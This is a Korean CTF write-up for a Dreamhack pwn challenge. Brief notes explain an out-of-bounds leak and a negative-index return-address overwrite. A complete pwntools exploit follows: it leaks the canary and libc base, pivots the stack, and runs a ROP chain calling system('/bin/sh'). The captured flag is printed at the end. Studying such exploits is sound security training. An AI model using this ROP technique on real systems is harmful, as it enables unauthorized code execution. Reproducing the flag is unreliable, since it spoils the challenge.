풀이

  • OOB로 스택, 코드, libc전부를 leak 할 수 있다.
  • 그리고 음수 인덱스 값 줘서 return addr를 덮을 수 있다.
  • 근데 0x28밖에 못 덮어서 나는 다른 note로 rsp를 옮겨서 넓게 섰다.
  • stack align이 안 맞아서 0x28로는 부족했다.
from pwn import *

context.log_level = "debug"

# io = process("./prob")
io = remote("host8.dreamhack.games", 18472)
libc = ELF("./libc.so.6", checksec=False)
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)


io.sendlineafter(b"> ", b"1")
io.sendlineafter(b": ", str(0x220).encode())

io.sendlineafter(b"> ", b"2")
io.sendlineafter(b": ", b"0")

io.recv(0x1D8)
stack = u64(io.recv(8))
log.info(f"stack: {hex(stack)}")
canary = u64(io.recv(8))
log.info(f"canary: {hex(canary)}")
io.recv(8)
libc_base = u64(io.recv(8)) - 0x2A1CA
libc.address = libc_base
log.info(f"libc base: {hex(libc_base)}")
io.recv(8 * 3)
code = u64(io.recv(8)) - 0x16E3
log.info(f"code : {hex(code)}")


io.sendlineafter(b"> ", b"1")
io.sendlineafter(b": ", str(40).encode())
io.sendlineafter(
    b": ",
    p64(0x000000000010F75B + libc_base + 1)
    + p64(0x10F75B + libc_base)
    + p64(next(libc.search(b"/bin/sh\00")))
    + p64(libc.sym["system"]),
)
log.info(f"stack overwrite {hex(stack - 0x298)}")
pay = (
    p64(0x10F75B + libc_base + 1) * 2
    + p64(0x0000000000028A91 + libc_base)
    + p64(stack - 0x298)
    + p64(0x00000000000299D2 + libc_base)
)
io.sendlineafter(b"> ", b"3")
io.sendlineafter(b": ", str(-2).encode())
io.sendlineafter(b": ", str(0x28).encode())
pause()
io.sendlineafter(b": ", pay)

io.interactive()

# 0x000000000010f75b : pop rdi ; ret
# 0x00000000000299d2 : leave ; ret
# 0x00000000000981ad : pop rdx ; leave ; ret
# 0x0000000000028a91 : pop rbp ; ret

# DH{21873838:jsUbCjraOG1NhfxlMnorUQ==}